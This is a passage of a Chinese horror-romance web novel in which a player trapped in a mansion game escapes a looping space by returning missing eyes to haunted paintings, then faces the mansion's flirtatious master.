下一秒，微弱的光芒亮起，程朔下意识追着光源看去，在二楼看到了管家那张没什么表情的脸。
他拿着手电筒，薄情冷漠到像身处黑暗中没有感情的假人，与先前接触时的反差太大。
管家几乎立刻捕捉到程朔的视线，脸上的冷漠消退，面容在一刹那变得极有生气。
他冲程朔微笑，张唇无声说了什么。
奇怪的是隔着这么远，程朔竟然能看懂他那句唇语。
“让伊索先生受惊了，实在抱歉。”
11. 第十一章
第11章
不知道是环境太过昏暗，还是他前后的人设之差，程朔浑身发冷，手脚凉到一点温度都没。
他忍不住活动手脚，以此升温。
其他玩家开始不满嚷嚷起来，程朔趁机看向自己之前站的位置，想看看是谁在黑暗中冲向了自己。
这一看，倒是对上一双偏绿色的眼睛。
对方与他四目相对，明显一愣，连忙看向别处，就差把心虚两个字喊出来了。
这人穿着西装，个子很高，但超级瘦，看着非常营养不良。
程朔对这人完全没印象。
场内玩家唯一想杀自己的大概只有捕捉者，这人难道就是？
但捕捉者不是发现人设崩塌后会立刻将其淘汰吗？
程朔皱眉，听见一声极为冷冽的“嘘”，思绪被打乱。
管家抓着手电筒，光线扫过每一位玩家的脸，随后往上照去。
天花板上除了爆裂的灯外什么都没有，仿佛之前看到的东西只是一场幻觉。
站在大厅中的玩家们脸色各异。
管家淡声开口：“各位在别墅这么久，也应该知道一些事。”
“别墅中存在着一些其他东西，它们只有在被打扰时才会出现。所以各位无论干什么，动静小一点，不然就会发生现在的情况。”
“搞什么？之前怎么不说？”
“就是啊，这破游戏，这种设定不应该一开始就抛出来吗？现在才说想让我们死啊？”
“真是给我弄笑了，出现一个状况说一个设定，够牛的游戏。”
“哈哈，垃圾游戏，吃枣药丸。”
“……”
管家任由他们讨论，似乎听不到一般，直到最后声音越来越大，他又是一句不冷不淡的“嘘”。
明明声音很小，可瞬间让大厅内安静下来。
死寂之中，管家脸上出现标准的微笑：“各位的目标只找出宝藏，而不是在别墅中长住，所以一些事情不需要知道。”
一句话成功让玩家们再次不满起来。
程朔老觉得管家在盯着自己，抬头看去时，他偏偏又在看别处。
一来二去程朔烦了，总觉得这游戏乱成一团，根本摸不清头绪。
诡异变态的管家和主人，两个奇怪的深夜访客，说不出哪里不对的画，以及那个明显对自己有不确定想法的玩家。
桩桩件件都是费脑的事儿。
程朔揉了揉太阳穴，整个人有些病恹恹的颓废。
“该说的我已经说完了。”管家缓缓朝楼下走来，“各位请让开，我要换掉没用的灯。”
“你说的其他东西是画里的吗？这个画会不会活？”有玩家不耐烦问了一句，声音大到震耳。
管家没有理会，变戏法般拿出梯子和灯，爬上去准备更换。
“跟你说话呢。”那位玩家吼出声，这次的声音大到整个别墅都能听见，“本来就够烦了，现在又这样，你能不能给个准话？那东西是什么？”
“砰。”话音刚落，原本还悬挂在上面的水晶吊灯毫无征兆地坠下。
刚好站在下面的玩家被砸倒在地，没了动静，脑袋都扁了。
现场所有玩家都被这突如其来的一幕吓愣住。
站在旁边却神奇没有受到影响的两位玩家遍体生寒，慌忙后退。
管家面无表情地望着这一幕，手电筒打在那位玩家脸上。
口鼻流血，五官移位，彻底死了。
“这是被淘汰了还是真死了？”
“不是我们的肉身，应该是死了，我记得来的时候说有第二次机会。”
“太突然了，这游戏就这么变严肃了？”
“……”
“我提醒过有其他东西居住别墅，不喜欢被打扰。”管家再次微笑，“各位现在相信了吗？”
尸体摆在眼前，想不相信也难。
和地上一样的水晶吊灯在管家手里像是没有重量，轻而易举地装了上去。
灯光亮起，被淘汰的玩家死状更为触目惊心。
玩家们面面相觑，不敢随意说话，生怕刚挂上去的吊灯降临身上。
管家抓住尸体的脚，拖着往楼上走去：“各位可以继续了。”
周遭静得只剩下尸体在地板上擦过的声音。
管家每走一步，尸体便会在地板留下明显的痕迹，殷红刺目。
程朔心里发毛，觉得这管家变态之中又有一种无法形容出的恐怖。
“不能小看这个游戏了。”有玩家心有余悸道，“我以为找不到宝藏被淘汰，结果竟然会死人淘汰。”
“是啊，我刚来还说这游戏不常规……结果说常规就常规了。”
“不过这设定确实抛得太晚了，难道故意让人放松警惕，好多淘汰人？”
“有道理。”
“……”
程朔叹口气，欲哭无泪。
前有四个人和他暧昧不清，后有玩家想对他动手，现在游戏又上新难度，摆明了想让他早点成为被淘汰的一员。
不然听其他玩家的，假装伊索去勾引泽恩问出宝藏线索，这是目前最有希望的。
程朔歪歪脑袋，认真想了想和泽恩甜蜜亲密的场景，瞬间放弃。
“所以管家说的到底是什么啊？”苏南呢喃出声，“到底是不是画里的。别告诉我别墅里住着鬼，我怕鬼啊。”
“应该就是画了，玩过一些不给线索的无限游戏吗？跟这种很类似，都是设定比较模糊的，不摆在明面上，随便给玩家一个提醒自己猜。”
“哈哈哈，玩过，一百关我卡在第一关九十九次卸载了。”
“你毅力真牛……”
淘汰一个人，反而让玩家心齐，关系融洽了。
程朔看向那个绿眼睛，回想起当时对看时那个怪异的眼神，分明是在迟疑要不要向他动手。
对方没再注意他这边，一直在和身侧的人说话，看上去没什么异常。
这人肯定有问题。
程朔心里生出几分警惕，收回目光，走到第四幅画前。
眼睛和鸟依旧存在，但不知道是不是错觉，总觉得鸟飞上天的角度比之前高，天空中的眼睛也变大不少。
他揉揉眼，再看又觉得没什么区别，转身去看其他画。
这个副本给出的信息太少，明显需要玩家主动触发，现在只能多看画找线索了。
“怎么说？”苏南不知何时站在程朔身边，语气里满是惊疑，“条件这么
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模糊，我们谁都有可能淘汰。开始还觉得五份拼图碎片太少，现在觉得我们恐怕一个都拿不到。”
“你玩过这种无限游戏吗？”程朔答非所问。
“玩过恐怖游戏，人家设定一开始就给出了，像这种一边玩一边给的我只玩过一次。就跟之前那人说的，不停用死亡来换取线索，最后死亡几百次，总算摸清通关了。”
苏南不断叹气：“我的脑子非常愚笨，我觉得自己已经是淘汰大军中的一员了。”
强烈的注视感袭来，又是那个绿眼睛。
程朔侧对着他，似乎正因如此，他觉得程朔看不见，所以更为肆无忌惮地盯着。
沉默片刻，程朔低着脑袋，小声跟苏南说：“你别乱看，我问你，你想想有没有印象。玩家中有个瘦高个，绿眼睛，看着营养不良的人，你知道叫什么，是什么身份吗？”
苏南第一反应还真想去看，程朔迅速按住他的肩膀阻止了。
他思索片刻：“好像是姓沈，叫什么不记得了，身份应该是探案家。怎么了？”
程朔没说太明白：“他好像对我们有意见。”
毕竟他不确定对方到底是想对他一人下手，还是也针对苏南。
苏南一怔，皱眉看了眼那边，低骂出声：“还真是，那小子一直在鬼鬼祟祟看这边，我直接过去问问。”
“你问的话应该不会说。”程朔想起捕捉者。
他被捕捉者发现崩坏人设，就会淘汰，那会不会也存在着其他身份的人？
想到这里，程朔装作不经意间开口：“苏南，你来的时候提示框有没有出现备注信息？我听其他人讨论，好像都有备注。”
苏南脸色稍微怪异，欲言又止。
程朔知道他这是不信自己，继续透露：“我这边提醒要小心一个身份的人。”
“捕捉者？”意外的是苏南直接说出来了。
程朔颔首。
看来他和苏南是同样情况，不能崩人设被捕捉者发现，不知道其他玩家是不是也一样。
“还在看。”苏南不耐烦地扯了扯衣服，“我去试探试探他。”
程朔点点头：“那我继续看画找线索。”
两人分开行动。
苏南快步走到绿眼睛面前，抬手故作凶狠地扯住他的衣领：“你叫沈什么来着？”
“沈脆。”男人被惊到，想往后退，但衣领被抓着无法后退，反倒是苏南见他这样子再次用力往前一扯。
“沈脆？”苏南拧眉质问，“你老盯着我干什么？”
“没，没啊。”沈脆结结巴巴道。
“我刚看到了，你一直在看我这边。”苏南凑近，看着他的眼睛一字一句道，“你最好说清楚，不然我就当你在挑衅，后续会发生什么就不确定了。”
“真没有，我看你干什么？我一直在打量那个伊索，这里面的男主人不是对他挺感兴趣吗？”
沈脆红了脸，越说声音越小：“我想问问他，怎么男主人只对他感兴趣，学一学怎么勾引，然后我自己去勾引男主人问线索。但我胆子很小，不敢过去，灯坏了后才敢摸索过去，结果没找到他。”
苏南：“……”
不远处一直在听这边动静的程朔：“……”
12. 第十二章
第12章
万万没想到这沈脆是这个目的，程朔无语了。
泽恩看着就不好相处，勾引这个办法其实根本行不通，万一不小心触碰到他的逆鳞，更不知道会做出什么。
不过程朔并不完全相信沈脆的话。
他都能扮演伊索糟糕的人设，保不齐其他人也在演。
苏南松开手，把沈脆被抓乱的衣领随意整理好，迟疑片刻，算是为自己之前的行为道歉，出声提醒：“别人随便说说，你还真信了？只怕你这边去勾引，那边就被淘汰了。”
“我知道了。”沈脆目光闪烁，小心翼翼地点点头。
随即他背对着苏南，把被他碰过的衣领重新一点点弄好。
看到这一幕的程朔刚想说他比自己还强迫症，忽然看见他眼底那不太明显的嫌恶。
程朔一怔，似笑非笑起来。
隔着距离，沈脆似乎注意到他的视线，畏畏缩缩抬头冲程朔柔弱一笑，眼神中还带着打量他时没来得及收干净的恶意。
“伊索先生。”
他快步朝着程朔靠近，满脸胆怯纠结，不符合人设的情绪收得一干二净。
程朔确定自己没看错那抹恶意，对他完全没有兴趣，收回视线，继续打量着墙上的那些画。
“伊索先生。”沈脆站在他身边，“我想成为你的盟友。”
“那你找错人了，我不会教人怎么勾引，也不需要什么盟友。”程朔半带嘲讽道，靠近画框才发现每幅画其实都有编号，这幅是046号。
他后退几步，找到那幅带着鸟的画，编号087。
一楼每一幅画都有编号，最低是005，最高103，因为刻在画框右下角，又跟芝麻那么小，以至于开始都没发现。
或许其他玩家早就发现了，只是没有特意说出来。
“我是捕捉者。”沈脆挺有耐心，等他打量完才略微凑近，低声说出这句话。
程朔心下一惊，面上没什么变化，烦躁道：“听不懂，走开，真烦人。”
这语气太真实，一时还真让人分辨不出到底是装的还是真的。
沈脆愣住，匪夷所思道：“捕捉者你不知道吗？”
“知道啊，我也是。”程朔嚣张地指着自己，用鼻孔看沈脆，蔑视一笑，“马上就把你淘汰信不信？”
如果捕捉者真的在他们这些玩家之中，那就有人跟他一样谎报了身份，也许又不在。
毕竟这游戏只提醒了有，可没说是玩家还是NPC。
管家、主人……皆有可能。
“你……”沈脆似乎因为他的性格无法继续沟通。
程朔一开始觉得这扮演糟糕性格太单调，无法确定什么算糟糕。
现在发现太爽了，不受局限，想怎么嚣张傲慢、欠打欠骂都行。
“走开。”程朔推开他，去找苏南。
“聊得怎么样？”苏南放下手中的画，指着角落，“这有编号。”
“我也发现了。”程朔点头，又说起沈脆，“聊得不怎么样，他让我教他勾引人。”
苏南无语凝噎，不知道怎么回答，索性换了个话题：“这样找线索太慢了，不如我们主动去触发。三楼房间肯定很容易触发线索，上去吗？”
“我跟你们一起去。”沈脆冒出来。
苏南眼神中满是抵触：“我不喜欢男人，不知道怎么勾引人，你跟着我没用啊。”
沈脆瞥了一眼程朔：“不用你，伊索教我就行了，三人总比两人好。”
苏南很快被他说服了：“那行吧，我同意。”
程朔给他一个大白眼：“随便你。”
“那走吧。”沈脆瑟缩了下脖子，“我害怕管家，你们先走，我殿后。”
苏南估计不想和他多说话，直接往楼上走去。
程朔夹在中间，快被身后的沈脆用眼神盯成马蜂窝，每次回头他都是那副伪装好的无辜害怕模样。
程朔懒得拆穿他拙劣的演技，没放在心上。
“你真不信我是捕捉者啊？”沈脆突然伸手戳了下他后背。
程朔面无表情地扭头看他，一句话也没说。
以为他会打自己，结果只是直勾勾地望着自己，不知所措的反而成了沈脆。
程朔短暂思考了下自己从哪里下手比较合适。
沈脆包裹太严实，他又不想亲密接触，最后干脆薅住沈脆的头发稍微用力，在沈脆瞪着眼差点尖叫的时候迅速放开手。
“开个玩笑。”程朔咧嘴一笑，镜片后的眼睛明亮有神，却带着几分不屑。
疼倒是不疼，但谁能想到他会薅自己头发，而且薅了之后立刻就放开。
沈脆捂着自己的脑袋，眼底涌起几分愤怒，完全捉摸不透程朔。
他可能终于觉得程朔是块撬不开的石头，几步追上苏南，开始骚-扰苏南。
程朔低头注意到手指上沾了根沈脆的头发，立刻挥手甩掉，有些嫌弃。
早知道不薅了。
几句对话后，苏南明显烦了，开始刺沈脆：“你是苍蝇吗？抓这个人就是嗡嗡嗡，组队之后各自找线索，你以为闲聊的？”
沈脆委屈地闭上嘴。
苏南看到这样子看简直暴怒，想骂他又因为到达三楼忍住了。
“先看看画。”苏南回头对程朔说。
三楼走廊静谧无声，两边墙壁共挂着六幅画，尽头墙壁是一幅巨大的画。
任何人上来都会被尽头那幅画吸引，但那边灯光不够，昏暗的环境并不能看清整幅画内容，人自然而然要走到面前去观察。
程朔才走了两步，苏南就开口：“我昨天找过，除了比其他画大，什么都没有。”
“后面有没有其他空间？”程朔询问。
“没。”苏南摸摸后脑勺，“拿不起来，钉在墙上了，不过那画的内容也算是有点线索吧。”
程朔走到画前才明白苏南为什么那么说。
这幅画和人差不多高，挂在墙上需要仰头才能看清所有。
画中是一个双手托着金色皇冠的女人，闭着眼，神色温和柔静。
除了金色的皇冠，以及投射在睫毛上的暖光，画的其他部分颜色都偏暗。
好熟悉的画，进入游戏前看到的那幅拼图应该跟这个是同一个人。
程朔敲了敲画，实心的，他收回手，将这幅画从头到尾仔细观察，确定没有线索后不禁怀疑。
这么大一幅画放这里就只是观赏用？
程朔后退两步，目光落在其他画上。
和一楼的画风格不同，三楼两边墙上挂着六幅风景画风格温暖，眼睛融入景色中，一点都不突兀，完全找不出一楼的阴郁影子。
“没编号。”苏南说，“也拿不起来，估计就是装饰品，你那边呢？”
“没有。”程朔开口，“这么好藏宝藏的地方不好好利用，我要是藏宝之人，绝对藏在画的后面。”
“还真有可能啊。”苏南看向尽头的画，“这跟拼图也有关联，位置又这么空，说不定墙后面另有玄机。问题是不敢乱动，谁知道这画拿下后会发生什么。”
一直站在旁边不说话的沈脆忽然弱弱地说：“这个好办啊。”
没等程朔和苏南说话，他直接走到楼梯旁，冲着下面大喊：“三楼最大的画后面好像有线索，大家快来啊。”
下面安静了一瞬，紧接着凌乱的脚步声响起。
几个率先跑上来的玩家着急地跑到尽头画前：“这里？这画后面有问题吗？”
“拿不下来啊，这怎么打开？只能毁掉画。”
十几人中总归有急性子，不思考太多的。
半分钟不到，就有人一拳打在画上。
画框没有安装玻璃，一下就被打破。
看到这一幕，程朔瞥向沈脆，对方咧嘴羞赧一笑，似邀功。<
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p>他眼皮抽搐几下，实在无法对视，挪开视线。
简直是个神经病。
后面的墙壁露出，出乎意料的与旁边墙体颜色不同。
没想到还真发现了线索。
沈脆快步靠近，下意识想伸手推开众人，反应过来忍住冲动，小声说：“墙体颜色不一样，这后面估计有空间，大家快动手啊。”
一直以来的平静被打破，后面上来的玩家一听，着急忙慌地挤过来。
有人上手将那幅画彻底撕下，一整块不同颜色的墙壁彻底暴露出，形状像是一扇长方形的门。
撕下画之人迫不及待地用手敲击墙壁。
“咚咚咚。”声音大而空洞，明显后面有空间。
“宝藏肯定在这后面。”沈脆打量着周围，见大多数人都是观望状态，忍不住掐着嗓子喊了一句，“我要找到宝藏，离开这里，你们都别和我抢啊，让开让开。”
一句话落下，四周喧闹起来，所有人七嘴八舌地要将墙体破坏，看看后面有没有东西。
沈脆满意了，退至一边，静静地看着。
苏南碰碰程朔的肩膀，一阵挤眉弄眼，示意沈脆这人不简单。
程朔笑了笑没说话。
“要真有宝藏，前排的人一下就抢完了，咱们这些人是不是得进淘汰局，争抢唯一的碎片？”苏南问。
按照空间里那声音说的是这样，但程朔觉得宝藏不可能这么简单出现。
有玩家从楼下搬来一把椅子，用力砸在墙上。
或许是墙体太薄，轻而易举地就被砸破了，露出一个黑乎乎的口。
这么大的动静都没惊出管家和主人，围在旁边的玩家本来还在迟疑，确定后疯狂破坏着墙体。
程朔注意力反而被扔在地上的画吸引。
他快步走过去，捡起地上那被踩脏的画，拍干净上面的灰尘，将弄出的褶皱抚平。
不知道用的是什么特殊材质，这么一抚折痕竟然直接消失了，让稍许强迫症的程朔从头爽到脚。
一整幅画被撕成了五份，程朔手中拿的是画中人的脑袋，他快速捡起其他地方的画，还剩最后一份时，另一只手先他一步捡起。
“伊索先生喜欢这幅画？”娃娃脸弯眸笑了笑。
程朔认出他是李河山，将画中褶皱抚平，随口回答：“勉强能入我的眼。”
李河山学着他的动作将画抚平，很快发现纸质不同，扭头看向已经进入墙后空间的几人，把画递给程朔。
“其他人都进去了，你不进去吗？”
“不想进去。”程朔低头看着手中的画。
就算被撕成几分拿着也太大，他不知道怎么收起，索性全部叠在一起不断对折。
神奇的事发生了，本该对折几下会因为厚度再难对折的画，在程朔手中折了十几次，变成巴掌大小，看着也根本没多少厚度，依旧可以继续折下去。
一旁打算进墙后空间的苏南看到这一幕庆幸自己没着急进去。
“这画纸是什么做的？能折成这样？”他伸出手，想让程朔给自己看看。
程朔没犹豫，放在他的掌心。
捡画对折的时候他已经看过，除掉画纸特殊，实在没其他值得注意的地方，不然李河山也不会把那一份给他。
苏南打开，又是摩挲又是放在灯光下看，最终折回原来大小还给程朔。
“没啥线索，赶快进去吧。”他率先进入墙后。
现场只剩下李河山、程朔以及沈脆。
灯光晃动，冷风从破出一人能进去的洞中吹出，程朔打了个喷嚏，把画塞进口袋，走到墙口处探进上半身往里面看了眼。
入目漆黑无光，一片虚无。
他一怔，暗道不对，里面太安静了，进去的十个人不可能弄不出动静。
程朔后退一步，打算退出去再说，忽然被人从身后狠狠推了一把，直接踏入了墙后空间。
13. 第十三章
第13章
下一秒，眼前场景变化，头顶的光芒有些耀眼。
他抬手遮住眼，适应后放下，发现自己回到了三楼走廊。
只是这一次走廊安静无人，只有尽头墙口响着微弱的风声。
不用想也知道肯定是沈脆推得自己，不过眼下是什么情况。
程朔诧异地看向四周，挨个去推房门，打不开后快速下楼。
二楼除了他的房间外全部上锁，一楼空无一人，他发出各种声音，没得到一丁点回应，确定整栋别墅除了他之外再无他人。
怪不得人进入墙后一点声音都没有，恐怕和他一样到了这里。
程朔返回三楼，站在墙口处眯着眼打量着墙后。
里面依旧黑得伸手不见五指，除了风以外，再感受不到其他。
如果他再从这里进去，会回到原来的别墅，还是再次进入第三个空间？
程朔抿唇，回到一层拿了把刀，在墙口处刻下一块拼图碎片图案，拿着刀子走进墙内。
这一次场景倒是没变化，他站在黑暗中，所有声音都无法捕捉到，有那么一瞬间程朔以为自己回到了刚进入游戏空间的时候。
不知道过去了多久，眼前黑暗褪去，逐渐有了光和颜色。
眼睛适应了黑暗，突然出现这么多色彩一时有些晃眼，程朔眯起眼，再次出现在三楼走廊中间。
他没有停留，快步走到墙口前查看自己留下的图案。
不见了，这是第三空间，新的空间。
那岂不是一直回不到原来的别墅，等时间耗尽，直接就被淘汰。
不过既然是游戏，肯定有破关的方法。
程朔又一次留下相同的印记，快速踏入墙后。
来来往往十次，他总结出规律。
进入墙后只会出现在新的空间，进入一次时间比一次长。
第三次进入墙后，在黑暗中数了三百个数才来到新空间。
第十次，数到了一万。
这里和原来的别墅除了人以外没有任何差别，大门也依旧打不开。
程朔不知道时间过去了多久，每次出来看到别墅中的挂钟都是同样的下午四点半。
根本没有任何头绪。
程朔揉着太阳穴，没再进入墙后，开始观察画。
这么一观察，他发现一件事。
二楼三楼的画没有任何变化，一楼画中的眼睛全部消失了。
眼睛去哪了？
这个想法一出来，程朔后脑勺爬上一层又一层的寒意，浑身发冷。
空气中仿佛漂浮着数双看不见的眼睛，正死死地盯着。
程朔飞快扭头打量着空荡的四周，没看见异常才松口气。
太久没喝水，嘴唇干到刺痛，他舔了舔唇，拿起桌上的小水壶，确定里面是干净的水后仰头隔空倒入嘴中。
冰凉的水入喉，缓解了渴意与内心的躁动，程朔还没来得及舒口气，骤然与水晶吊灯后的一只眼睛对上。
猩红森冷的竖瞳转动着，似乎察觉他发现了自己，眼睛上下晃动，各种颤抖，最后“唰”一下消失不见。
程朔整个人都快麻了。
他要被这游戏弄成神经病了，怎么走向越发离奇恐怖，还不如一开始的抓狂攻略游戏。
程朔放下水壶，擦干净嘴唇，视线开始疯狂在别墅中游走。
这只眼睛很像那幅飞鸟画中藏在天空中的，是只有这一只，还是其他眼睛也藏起来了。
思绪控制住不住乱飘，他最后回到那幅飞鸟画前，发现那只红色的眼睛已经回到了原来的位置。
虽然看着极度不适，还会手心出汗，但好歹不会突然出现吓人。
程朔松了一口气，又看向其他没有眼睛的画。
难不成要找回所有画中消失的眼睛才能离开这里？
他坐在椅子上，随手摘下眼镜。
现在没人，程朔不想再演伊索，好在身处这个空间，摘下眼镜也不会近视。
他扯下领带，不停在手中转动玩着，试图转移一下焦虑的注意力，人看着像发呆，眼睛无神空洞，实则一直在用余光悄悄打量着四周。
第一只眼睛是突然出现的，其他眼睛说不定也会这样子。
但很可惜，程朔看了很久都没有发现。
双手玩领带的动作一顿，他心累垂眸，猝不及防与桌下飘出的一只眼睛对上。
再次被吓一跳的程朔：“……”
这眼睛比第一个恶心多了，白色眼球上附着着密密麻麻的红血丝，导致眼白都成了红色，不仔细看还以为是一堆红色的线虫，黑色的眼瞳空洞无光，似能将人吞噬。
程朔反射性想用领带把这眼睛给缠着，好在这眼睛只是在桌边飘着，慢慢消失不见。
他抬头，根据记忆找到这眼睛所在的画，果然看到原本空的地方出现了那只眼睛。
还真能找到。
程朔信心大涨，接下来全往犄角旮旯里寻。
每次都是特意找必定找不到，累了停下反而就那么出现了。
十四幅画，程朔找到了十只眼球，还剩下四只。
别墅墙上挂着的时钟已经走到晚上九点，肚子长久没进食开始饿到绞痛，咕咕乱叫。
一楼小厨房程朔找过，没有吃的，眼下唯一能充饥的就是桌上的水。
但水也没剩几口。
他拿起水壶倒了两口喝，勉强好受一些，开始楼上楼下继续寻找。
时间一分一秒过去，程朔实在找不动了，躺在地上盯着天花板。
他逐渐困了，眼皮挣扎几下，要睡去时眼前出现一个黑色眼球，吓得他登时睁大眼，身体不由自主抽搐了下。
那是一只黑色五角星眼瞳的眼球，飘在那里直勾勾地盯着他看。
见得再多也是适应不了这些诡异的眼睛，程朔心脏难受到缓了半天才好点。
还有三只。
程朔把水壶里最后的水喝掉，满别墅晃荡，直到早上仍旧没找到剩下的眼睛。
他恨不得把自己，不，伊索的眼珠扣出来放进画中。
不过即使这样还差一个。
程朔无精打采地趴在桌上，对比这冰冷的别墅，还是有变态存在的原别墅好。
他迷迷糊糊睡了过去，没想到睡醒睁不开眼睛了。
眼皮上有东西紧压着，沉重黏糊，还有些湿稠。
他一边努力睁眼，一边抬手，虽然心里多少猜到，但当手触摸到那黏腻Q弹，软软的眼球时，还是被恶心到了。
程朔双手抓住眼球，用力往外拉。
眼球贴在眼皮上，就像用胶水固定住了，眼皮都被扯开都没能成功拉下。
程朔怕用力太猛把自己眼皮扯破，深吸一口气，努力旋转着，试图将眼球摘下来。
不知道过去了多久，紧紧黏在眼皮上的眼球终于被拉下来。
程朔睁开眼。
因为先前一直摘眼球，导致眼皮肿胀，只能睁开一半。
掌心里的两只眼球一红一黑，红的还好，只是有点吓人，黑得完全就是恶心，就像是一摊说不出是什么的液体组成。
眼球转动，在他掌心上下跳动着，程朔嘴角抽搐，忍住甩出去的冲动，把眼球放在桌上。
“哒哒哒。”不过一刹，眼球从桌面跳在地上，不停蹦跶，最后猛地消失。
程朔快步走进大厅卫生间，眼皮肿胀程度还好，就是残留着一些眼球上的黏稠液体。
他抬手把那些液体洗掉。
还剩下一颗。
程朔洗干净脸，抹去脸上的水，看着镜中倒影。
这算是他第一次看清伊索这张脸。
柔顺乌黑的头发下是一双棕色干净的眼睛，五官很像现实中的他，但也有不同之处。
他的五官很有攻击性，而这张脸上的五官完全没有，柔和到表情有些木讷。
皮肤比较白、嫩，以至于洗个脸都能把脸弄红。
程朔尝试做出恶劣的表情，发现能做出来后无法理解伊索明明是恶劣的性格，怎么顶着一张看起来比较老实的脸。
程朔走出卫生间，捂着空空的肚子，敛眸沉思要不要去厨房烧一点水喝。
再这样下去，不被游戏淘汰也要饿死，毕竟他摸不清眼球出来的规律，只能等最后
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一颗眼球自己出来。
程朔叹口气，再次走到一楼那些画前，挨个看过去。
缺少眼睛的是那幅让程朔不怎么敢长时间观看的高楼断手图。
原本楼梯门后的红色眼睛位置现在空荡荡的，再看这幅画少了那种形容不出来的毛骨悚然感。
程朔拉着一把椅子坐在画旁边，微跷着腿，双手环臂，歪着脑袋直直地盯着画中内容。
棕色的眼睛很快失去光泽，变得木讷无神，似在发呆。
脑袋里闪过这些天发生的事，程朔觉得好像是一场梦，梦醒了他还在房间中拼图。
想起缺少的那块拼图碎片，他顿时抬手捂脸，已经能想象到他妈在房间抓狂找他找碎片的场景了。
“噗叽噗叽。”奇怪的响动从头顶传来，程朔骤然抬头。
一颗极大的眼球浮在上空，不同于之前那么奇怪另类，像极了人类的眼球，反而让他吓得站起身。
脑袋那么大的眼球一点点垂下，眼白上血丝看得一清二楚。
它无声地盯着程朔，漂亮的眼瞳泛着血红色，在程朔的注视下，那瞳孔一点点放大，仿佛能将人吸进去。
程朔浑身一个激灵回过神，错开视线不再对视。
“噗叽噗叽。”声音再次响起，眼球飘动，飞到他眼前。
程朔避开，眼球再次挪动，一来二去，他哭笑不得用手把眼球推开，纳闷这眼球为什么还没回到画中。
“砰砰砰。”
眼球似乎恼了，后退几下，冲向程朔的脑袋，撞击之后与他眼睛紧紧贴着。
那被撞击的感觉太过于奇怪，程朔看着近在咫尺的眼球，试探性伸出手。
眼球瞬间落在他的掌心。
冰凉柔软的诡异感从掌心蔓延，程朔起了一层鸡皮疙瘩，眼球疯狂蹦跶，提醒着什么。
他僵着手，带着眼球走到那幅画面前，尝试把手掌举到画旁。
眼球蹦跶得更加快，程朔短暂犹豫，调整着手掌的角度，瞬间拍在画上。
眼球地被拍入画中，从断手旁边飘过去，最终停在楼梯门后原来一样的位置后再没动静。
没想到还真是让自己把它送进去。
程朔哭笑不得，转身洗干净手，看着没变化的大厅沉吟片刻，戴上眼镜走上三楼。
墙口处依旧黑沉无光，他站在旁边，扭头看着走廊念叨：“好歹算是闯过了一小个关卡？没有奖励线索掉落吗？”
无人回应。
看来是没有。
程朔叹口气，没有犹豫，走进墙后黑暗中。
本以为这次又要等待很久，没想到刚进去白光一闪而过，再一眨眼，他已经坐在大厅餐椅上。
“欢迎回来。”身侧响起熟悉的嗓音，程朔惊觉扭头，是泽恩。
男人穿着红黑色的礼服，坐在主位上，姿态优雅矜贵，看他的眼神带着明显的温柔笑意。
程朔有点不确定这是不是原本的别墅，一看其他人都不在，站起身准备去三楼看看情况。
“马上要开始用晚餐了，伊索先生还是坐下比较好。”手腕被一只大手轻轻握住，泽恩拉着他重新坐下，唇角的笑意带着几分危险。
程朔挣开他的手，不自在地抬抬眼镜，环顾四周，确定自己是回来了。
“那些人呢？”他语气不好地问。
“未经主人允许，私自破坏别墅内的墙体与画，自然要接受考验。”泽恩笑吟吟开口，“他们没有伊索先生回来得快，现在估计还在里面玩。”
程朔还记得沈脆推自己那一下，暗中磨牙：“所有人都进去了吗？”
泽恩“嗯”了一声，抬手靠近。
程朔瞬间抵抗地往后挪动脑袋，还是没能逃开。
泽恩握住他的眼镜腿，轻轻摘下，随后调整好位置，用双手将眼镜腿重新架在他的耳朵上，缓缓推着。
视线从模糊变清晰的过程很快，眼镜重新架在鼻梁上。
程朔不知道为什么有种难以形容的别扭感，直到脸颊微烫，他才反应过来自己这是不好意思了，一阵惊觉。
一个戴眼镜的正常动作都能让他害羞，这不完了。
14. 第十四章
第14章
“现在戴正了。”泽恩脑袋轻歪，视线落在他脸上打量几秒，低声开口。
大厅中静默无声，戴着眼镜的青年紧紧绷着脸，生怕自己露出什么不该有的情绪，棕色的瞳孔中透着几分显而易见的窘迫。
他挺直背脊，视线朝下，盯着桌面不知道在想什么，略微卷翘的睫毛一上一下扫动着，下颚线清晰完美，引得人看向他白皙的脖颈。
白色衬衫最上方的两颗扣子并没有扣上，衣领敞开，从这个角度完全能看到突出的锁骨，以及那靠右的位置有一颗黑痣。
泽恩笑了一声，似发现了什么好玩的事。
程朔根本不知道他在笑什么，也不敢去猜，就在这有些过度紧张的氛围中，对面多出一个人。
他抬头看去，是李河山。
李河山没想到自己会出现在大厅餐桌前，更没想到会看到程朔和泽恩，微微一怔后弯眸笑了笑。
“都看到你们了，那我肯定是回来了。”
“你在里面碰到什么了？”终于有人唠嗑转移注意力，程朔迫不及待地开口。
“一样的别墅。”李河山说，“最后发现画中少了眼睛，找到后就回来了。”
看来必须这样才能回来，其他还没出来的人估计是没发现。
程朔怕说多了性格不符，没再开口。
“坐在这里等其他人吗？”李河山瞥了眼没什么表情的泽恩。
“等开饭。”程朔沉默片刻说。
“我在里面待了两天，这外面不知道多久了。”李河山看向墙上挂的时钟，“好像才过去三个小时？”
程朔点头。
大厅又回归了安静，他无聊地用手扣着桌边玩，发现发出的声音太大停止了动作。
管家不在这里。
程朔发觉这件事，泽恩一直坐在大厅，平时会在的管家此刻在哪？
他开口：“什么时候用餐？”
这么久，终于有晚餐吃了。
“六点。”泽恩回答。
距离六点还有两个小时，程朔和李河山对望一眼。
估计六点还没回来的人只能在里面被困到彻底淘汰。
时间一分一秒过去，身后响起脚步声，程朔好奇谁能从楼上下来，转身看去。
管家在先前的装扮上多了一个围裙，手中提着一个工具箱，脸上还带着点粉末，看上去应该是刚修复完墙。
对上程朔的目光，管家弯眸笑笑。
他走下楼，将工具箱放好，站在泽恩身后：“主人，墙已经恢复好，空缺的画该如何？”
“晚上会有新的画。”泽恩闭上眼，缓缓开口。
程朔头皮一麻，莫名知道了他所谓的新画是什么意思。
“是。”管家谢尔恭敬地应下一声，“那我去换身衣服准备晚餐。”
程朔低头，目光落在他垂在身侧，包扎着伤口的纱布。
纱布干净整洁，不再渗血，他莫名放下心来。
“伊索先生对谢尔很感兴趣吗？”头顶响起夹杂着笑意的声音。
程朔还没抬头就把脑袋摇成拨浪鼓了。
“哦，我记得伊索先生有入睡困难症，需要人陪着才能睡着。”泽恩声音毫无情绪，“伊索先生需要谢尔陪吗？”
程朔一个头两个大，几乎不敢去看谢尔和泽恩的目光。
